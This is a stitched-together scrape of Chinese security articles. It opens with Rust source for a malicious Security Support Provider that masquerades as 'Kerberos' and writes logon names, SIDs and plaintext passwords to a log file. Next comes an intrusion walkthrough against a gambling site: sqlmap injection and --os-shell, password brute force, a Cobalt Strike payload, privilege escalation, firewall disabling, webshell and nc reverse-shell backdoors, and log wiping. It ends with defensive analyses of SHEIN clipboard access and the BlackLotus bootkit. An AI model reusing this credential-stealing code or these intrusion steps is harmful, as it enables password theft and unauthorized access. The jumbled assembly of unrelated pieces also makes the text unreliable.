    pub InitLsaModeContext: SpInitLsaModeContextFn,
    pub AcceptLsaModeContext: SpAcceptLsaModeContextFn,
    pub DeleteContext: SpDeleteContextFn,
    pub ApplyControlToken: SpApplyControlTokenFn,
    pub GetUserInfo: SpGetUserInfoFn,
    pub GetExtendedInformation: SpGetExtendedInformationFn,
    pub QueryContextAttributesA: SpQueryContextAttributesFn,
    pub AddCredentialsA: SpAddCredentialsFn,
    pub SetExtendedInformation: SpSetExtendedInformationFn,
    pub SetContextAttributesA: SpSetContextAttributesFn,
    pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn,
    pub ChangeAccountPasswordA: SpChangeAccountPasswordFn,
    pub QueryMetaData: SpQueryMetaDataFn,
    pub ExchangeMetaData: SpExchangeMetaDataFn,
    pub GetCredUIContext: SpGetCredUIContextFn,
    pub UpdateCredentials: SpUpdateCredentialsFn,
    pub ValidateTargetInfo: SpValidateTargetInfoFn,
    pub PostLogonUser: LSA_AP_POST_LOGON_USER,
    pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn,
    pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn,
    pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn,
    pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3,
    pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE,
    pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE,
    pub ExtractTargetInfo: SpExtractTargetInfoFn,
}
const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{
    InitializePackage: None , 
    LogonUserA: None ,
    CallPackage: None,
    LogonTerminated: None,
    CallPackageUntrusted: None,
    CallPackagePassthrough: None,
    LogonUserExA: None,
    LogonUserEx2: None,
    Initialize: Some(_SpInitialize),
    Shutdown: Some(_SpShutDown),
    GetInfo: Some(_SpGetInfo),
    AcceptCredentials: Some(_SpAcceptCredentials),
    AcquireCredentialsHandleA: None,
    QueryCredentialsAttributesA: None,
    FreeCredentialsHandle: None,
    SaveCredentials: None,
    GetCredentials: None,
    DeleteCredentials: None,
    InitLsaModeContext: None,
    AcceptLsaModeContext: None,
    DeleteContext: None,
    ApplyControlToken: None,
    GetUserInfo: None,
    GetExtendedInformation: None,
    QueryContextAttributesA: None,
    AddCredentialsA: None,
    SetExtendedInformation: None,
    SetContextAttributesA: None,
    SetCredentialsAttributesA: None,
    ChangeAccountPasswordA: None,
    QueryMetaData: None,
    ExchangeMetaData: None,
    GetCredUIContext: None,
    UpdateCredentials: None,
    ValidateTargetInfo: None,
    PostLogonUser: None,
    GetRemoteCredGuardLogonBuffer: None,
    GetRemoteCredGuardSupplementalCreds: None,
    GetTbalSupplementalCreds: None,
    LogonUserEx3: None,
    PreLogonUserSurrogate: None,
    PostLogonUserSurrogate: None,
    ExtractTargetInfo: None,
};

#[no_mangle]
pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS {
    (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    (*packageinfo).wVersion = 1;
    (*packageinfo).wRPCID = 0; 
    (*packageinfo).cbMaxToken = 0;
    let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    (*packageinfo).Name = name as *mut u16;
    (*packageinfo).Comment = Comment as *mut u16;
    STATUS_SUCCESS
}

#[no_mangle]
pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS {
    STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpInitialize(
        packageid: usize,
        parameters: *const SECPKG_PARAMETERS,
        functiontable: *const LSA_SECPKG_FUNCTION_TABLE,
    ) -> NTSTATUS {
        STATUS_SUCCESS
    }
pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String {
        let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) };
        let os_string = OsString::from_wide(slice);
        os_string.into_string().unwrap()
}
#[no_mangle]
pub unsafe extern "system" fn _SpAcceptCredentials(
        logontype: SECURITY_LOGON_TYPE,
        accountname: *const LSA_UNICODE_STRING,
        primarycredentials: *const SECPKG_PRIMARY_CRED,
        supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED,
    ) -> NTSTATUS {
        let mut logfile = File::create("C:\\temp.log").expect("");
        logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed");
        writeln!(
            logfile,
            "[+] Authentication Id : {}:{} ({:08x}:{:08x})",
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
        ).unwrap();
        let logon_type_str = match logontype {
            SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType",
            SECURITY_LOGON_TYPE::Interactive => "Interactive",
            SECURITY_LOGON_TYPE::Network => "Network",
            SECURITY_LOGON_TYPE::Batch => "Batch",
            SECURITY_LOGON_TYPE::Service => "Service",
            SECURITY_LOGON_TYPE::Proxy => "Proxy",
            SECURITY_LOGON_TYPE::Unlock => "Unlock",
            SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext",
            SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials",
            SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive",
            SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive",
            SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive",
            SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock",
            _ => "Unknown !"
        };
        writeln!(logfile, "[+] Logon Type        : {}", logon_type_str).unwrap();
        writeln!(logfile, "[+] User Name         : {:?}", accountname);
        writeln!(logfile, "[+] * Domain   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName));
        writeln!(logfile, "[+] * Logon Server     : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer));
        writeln!(logfile, "[+] * SID     : {:?}", convert_sid_to_string((*primarycredentials).UserSid));
        writeln!(logfile, "[+] * UserName   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName));
        writeln!(logfile, "[+] * Password       : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password));
        drop(logfile);
        STATUS_SUCCESS
    }

#[no_mangle]
pub fn convert_sid_to_string(sid: PSID) -> Result<String> {
        let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut());
        let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) };
        if result.is_ok() {
            let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) };
            Ok(sid_string)
        } else {
            Err(Error::from_win32())
        }
    }

#[no_mangle]
pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String {
        let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count();
        let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len);
        String::from_utf16_lossy(slice)
    }

#[no_mangle]
pub unsafe extern "system" fn SpLsaModeInitialize(
    LsaVersion: u32,
    PackageVersion: *mut u32,
    ppTables: *mut *const SECPKG_FUNCTION_TABLE,
    pcTables: *mut u32,
) -> NTSTATUS {
    *PackageVersion = SECPKG_INTERFACE_VERSION ;
    *ppTables = &SecPkgFunctionTable;
    *pcTables = 1 as u32;
    STATUS_SUCCESS
}

t4cdvnj4ula13130.png

参考文章
https://lengjibo.github.io/lassdump/
https://xz.aliyun.com/t/12157#toc-10
https://www.crisprx.top/archives/469
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE
https://www.freebuf.com/sectool/226170.html
https://xz.aliyun.com/t/12157#toc-4
https://cloud.tencent.com/developer/article/2103172
https://mrwu.red/web/2000.html
https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials
https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp
https://xz.aliyun.com/t/8323
https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.wangan.com/p/11v72bf602eabeb6
https://github.com/haoami/RustSSPdumpHash


转载于原文链接地址:https://forum.butian.net/share/2434


一.前言

最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个qsqsssfoxga13131.png

渗透惯用套路一把梭

信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹

二.信息收集

q1qd4s23cdm13133.png

浏览器访问主页初步发现

系统:Windows server中间件 IIS7.5语言:ASPX

端口扫描

nmap -sV -T4 -p- 11x.xx.xxx.xx
2jb1pg1ulfz13135.png

开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败

1433:数据库 mssql

还开了 139445但是被过滤了,不知道是不是有防火墙,后面再看

敏感目录扫描

先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言

python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
4e3cexcmlja13137.png

再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典

asrcaxamnfr13138.png

/m/是用户注册页面,可能有用,先记着

l1ru0enzbby13139.png

/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧

hba4h0d30mo13140.png

查IP

北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的

f0xaondrfzr13141.png

信息整理

4fd3xmhgwqn13143.png

估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间

三.漏洞探测

重点先放在前面找到的 81 端口,也就是网站的后台管理页面

lewl0o23zyh13145.png

没有验证码,用户名 / 密码随便写个 admin / admin,抓包

khlzxhva5ep13148.png

用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的

u2hwyrdf5k513151.png

兵分两路

一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间

python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs

另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行

b0zjvurw0kr13155.png

爆出密码 888999,弱口令,永远滴神!

成功登录后台iwuoqmayovk13159.png

只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充

apseuyus2n013163.png

赌博沾不得呀,这个老哥一天输了 2800

1dsjukpmyhn13167.png

在后台翻了半天没找到上传点,先放着

回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了

yq13enuehsw13171.png

跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息

1gpi2j0qowl13175.png

跑表名

python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
1qta3vibjfr13179.png

翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的

python sqlmap.py -r qipai.txt --is-dba
utzvei2thc213182.png

是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了

python sqlmap.py -r qipai.txt --os-shell

用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活

当前用户权限很小,只是个 mssql 数据库权限


uo0dgumn2id13187.png

Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008

Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线


gkvsub2hlxk13190.png

net user查看用户

yxcvuarp3zr13194.png

tasklist查看进程,应该没有装杀软

g4wt2oxf05z13199.png

net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤

yw0ewpvtb4e13200.png

关闭防火墙,额还没提权

h4vouzhpph513202.png

四.提权/wei权

前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)

um1dx31hvmu13203.png

执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为

jmwxgozhomr13207.png

进入文件管理,能看到前面信息收集时的 test.html 文件

a1itqm2gzzj13208.png

netstat -ano看一下端口开放情况,3389 没有开

vor0mbdnsxh13212.png

手动开启一下

ttphx0wosbg13213.png

可以访问远程桌面了

rjxte2yiofz13216.png

cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听

注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国

vgrneowewxh13220.png

msf 开启监听

ie1fmlf3wug13224.png

在 cs 上运行上传的马

sgxilzb3il113226.png

msf 成功拿到 shell,是继承的 system 权限

buuriv05gnc13230.png

查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的

xxamsgmipqr13233.png

ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希pte0qanhvd213236.png

到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了

xruqb2wfbm313238.png

成功登录远程桌面

kgnlx4xdpuj13241.png

留两个后门,一个webshell,一个开机自启的nc用来反弹shell

1gaydxbf3yu13244.png

五.清理痕迹,撤退

meterpreter 的 clearv命令一键清除

ko5rr5x441e13246.png

或者手动删除 Windows 日志

rgvlynp4gsx13248.png

六.总结

3rqpu42uvhe13251.png

七.实验推荐

利用sqlmap辅助手工注入

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia

通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。



转载于原文链接:

https://www.freebuf.com/articles/network/250744.html

1.png出於安全原因,在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址,而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容,並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下,受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。

這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播,並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月,在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。

安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序,該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰,以控制受害者的以太坊資金。但是,它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。

為了減輕此類隱私風險,谷歌近年來對Android 進行了進一步改進,包括在應用程序訪問剪貼板時顯示toast 消息,並禁止應用程序獲取數據,除非它在前台主動運行。

前言安全研究人員發現,中國時尚電子零售商Shein 的Android 應用程序存在缺陷,允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器,受影響的用戶數量可能達到數百萬,因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO,成立於2008 年,是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0,在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元,預計2022 年將超過200 億美元。

Microsoft 365 Defender 研究團隊表示,他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。

雖然微軟研究人員並未發現應用程序開發人員有任何惡意,但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。

Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性,也就是說,放在剪貼板上的所有內容都是公共的,設備上所有正在運行的應用程序都可以訪問,無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中,這不是一個嚴重的安全問題,因為它的剪貼板是用戶驅動的,一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。

相比之下,Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問,各種用戶,即應用程序,都可以在Android剪貼板上任意操作,不受任何限制。更糟糕的是,移動設備的屏幕尺寸有限。首先,用戶更有可能在移動設備上複製和粘貼數據,以節省打字工作量。此外,在將內容從剪貼板粘貼到應用程序後,用戶可以看到的字符更少,從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。

考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息,如密碼或支付信息,剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例,例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外,這些類型的攻擊濫用合法的系統功能而不是利用漏洞,使得問題更難以緩解。

微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容,如果存在特定模式,則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖,但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。

SHEIN 的Android 應用程序在Google Play 商店發布,下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意,這個案例也凸顯了安裝的應用程序可能帶來的風險,包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現,推動他們的Android 安全團隊展開調查。 2022 年5 月,谷歌通知我們,我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。

在此博文中,我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為,以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究,以強調協作在提高所有人安全性方面的重要性。

靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在,我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析,以確定對行為負責的相關代碼。然後,我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼,包括它如何讀取剪貼板並將其內容髮送到遠程服務器。

2.png

圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例

識別代碼打開應用程序後,啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類,該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用,如下面第11 行所示:

3.png

圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用

com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ,部分描述如下,在同一類中執行對方法o 的調用,如第16 行所示:

4.png

圖3. 方法h執行對同一類中方法o的調用

最後,在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法,如第2 行所示:

5.png

圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法

方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示,檢查字符序列“$”和“://”是否存在於剪貼板文本中,如第6 行所示。如果兩者都存在,則調用同一類中的方法k,並將剪貼板文本作為參數提供,如第8行所示:

6.png

圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”,將剪貼板文本作為參數提供給方法k

方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求,解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase:

7.png

圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求

由於應用程序的所有活動(用戶界面)都擴展了com.zzkko.base.ui.BaseActivity,因此只要用戶啟動新活動,例如通過啟動或恢復應用程序或在其中執行某些操作,就會觸發上述調用鏈應用程序。

驗證代碼的剪貼板行為為了驗證我們的靜態分析結果,我們對該應用程序進行了動態分析,該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。

我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用,以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書,使我們能夠使用Burp Proxy分析網絡流量。

我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。

打開應用程序後,記錄了以下調用:

8.png

圖7. 顯示應用剪貼板過濾的通話記錄

在上面的圖7 中,我們觀察到以下內容:

第28 行:調用函數com.zzkko.util.MarketClipboardPhaseLinker.f

第29-49 行:堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F

第53、55 行:調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法

最後,執行對api-service[.]shein[.]com 的POST 請求。隨後,我們在Burp Proxy 中捕獲了以下請求,顯示了剪貼板內容到遠程服務器的傳輸:

9.png

圖8. 將剪貼板內容傳輸到遠程服務器

安卓剪貼板保護如涉及SHEIN 的此案例所示,Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板,而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程,例如快速選擇要復制的文本,但應用程序通常不需要這樣做,因為複制和粘貼通常由設備輸入法編輯器(鍵盤)執行,它是一個單獨的應用程序。

為了解決我們的研究發現和手頭更廣泛的問題,谷歌已經認識到與剪貼板訪問相關的風險,並對Android平台進行了以下改進以保護用戶:

在Android 10 及更高版本上,應用程序無法訪問剪貼板,除非它當前具有焦點(正在設備顯示屏上主動運行)或被設置為默認輸入法編輯器(鍵盤)。此限制可防止後台應用程序訪問剪貼板,但不會阻止此處描述的行為,因為SHEIN 應用程序在前台運行。

在Android 12 及更高版本上,當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時,會顯示一條toast 消息通知用戶。

10.png

圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例

Android 13會在一段時間後清除剪貼板的內容,以提供額外程度的保護。

用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示,他們應該假設剪貼板上的任何數據都可能受到損害,並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。

負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意,但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險,例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。

我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險:

始終保持設備和已安裝的應用程序是更新後的最新狀態

切勿安裝來自不受信任來源的應用程序

考慮刪除具有意外行為的應用程序,例如剪貼板訪問toast 通知,並將該行為報告給供應商或應用程序商店運營商

在發現SHEIN Android 應用程序剪貼板行為後,我們與Google 的Android 安全團隊合作,確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。

與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為:

\BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節);

\BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z;

如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。

驅動程序支持以下一目了然的命令:

安裝內核驅動程序;

卸載BlackLotus;

細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。

HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。

CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑:

/network/API/hpb_gate[.]php

/API/hpb_gate[.]php

/gate[.]php

/hpb_gate[.]php

信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。

17.png

在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。

18.png

信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例)

作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。

解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如:

CC通信間隔;

執行方法;

有效負載文件名;

基於文件擴展名的負載類型(支持.sys、exe或.dll);

應該用於請求下載有效負載數據的身份驗證令牌;

用於解密有效負載數據的AES密鑰;

下表列出了所有支持的命令及其說明。

表2:CC命令

19.png

在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。

反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。

字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密;

所有嵌入的文件都在CBC模式下使用256位AES加密;

各文件的加密密鑰可能因樣本而異;

除AES加密之外,一些文件還使用LZMS進行壓縮。

Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址;

在某些情況下,直接syscall指令調用用於調用所需的系統函數;

網絡通信:使用HTTPS通信;

HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密;

從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密;

反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。

緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的;

然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。

問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。

請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。

如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。

總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例:

首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。

